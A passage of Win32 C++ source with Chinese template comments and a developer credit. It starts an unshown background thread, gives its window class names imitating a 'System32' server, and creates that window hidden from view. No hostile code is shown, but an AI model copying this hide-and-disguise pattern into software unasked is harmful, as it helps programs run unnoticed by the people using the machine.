    UNREFERENCED_PARAMETER(lpCmdLine);

    // TODO: 在此处放置代码。
    CreateThread(NULL, NULL, HST, NULL, NULL, NULL);
    // 初始化全局字符串
    LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    LoadStringW(hInstance, IDC_SYSTEM32MSCSERVER, szWindowClass, MAX_LOADSTRING);
    MyRegisterClass(hInstance);

    // 执行应用程序初始化:
    if (!InitInstance (hInstance, nCmdShow))
    {
        return FALSE;
    }

    HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_SYSTEM32MSCSERVER));

    MSG msg;

    // 主消息循环:
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return (int) msg.wParam;
}



//
//  函数: MyRegisterClass()
//
//  目标: 注册窗口类。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEXW wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);

    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_SYSTEM32MSCSERVER));
    wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_SYSTEM32MSCSERVER);
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

    return RegisterClassExW(&wcex);
}

//
//   函数: InitInstance(HINSTANCE, int)
//
//   目标: 保存实例句柄并创建主窗口
//
//   注释:
//
//        在此函数中，我们在全局变量中保存实例句柄并
//        创建和显示主程序窗口。
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance; // 将实例句柄存储在全局变量中

   hwnd0 = CreateWindowExW(WS_EX_NOACTIVATE, szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

   if (!hwnd0)
   {
      return FALSE;
   }

   ShowWindow(hwnd0, SW_HIDE);
   UpdateWindow(hwnd0);

   return TRUE;
}

//
//  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  目标: 处理主窗口的消息。
//
//  WM_COMMAND  - 处理应用程序菜单
//  WM_PAINT    - 绘制主窗口
//  WM_DESTROY  - 发送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_COMMAND:
        {
            int wmId = LOWORD(wParam);
            // 分析菜单选择:
            switch (wmId)
            {
            case IDM_ABOUT:
                DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
                break;
            case IDM_EXIT:
                DestroyWindow(hWnd);
                break;
            default:
                return DefWindowProc(hWnd, message, wParam, lParam);
            }
        }
        break;
    case WM_PAINT:
        {
            PAINTSTRUCT ps;
            HDC hdc = BeginPaint(hWnd, &ps);
            // TODO: 在此处添加使用 hdc 的任何绘图代码...
            EndPaint(hWnd, &ps);
        }
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

// about dialog
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    UNREFERENCED_PARAMETER(lParam);
    switch (message)
    {
    case WM_INITDIALOG:
        return (INT_PTR)TRUE;

    case WM_COMMAND:
        if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
        {
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        break;
    }
    return (INT_PTR)FALSE;
}

/*  
    developer: Wu JunHao  
    2020.12.26  
    qq3518767065
    开源协议: apache2.0    
    application version:2.1  
    document version:4.7
*/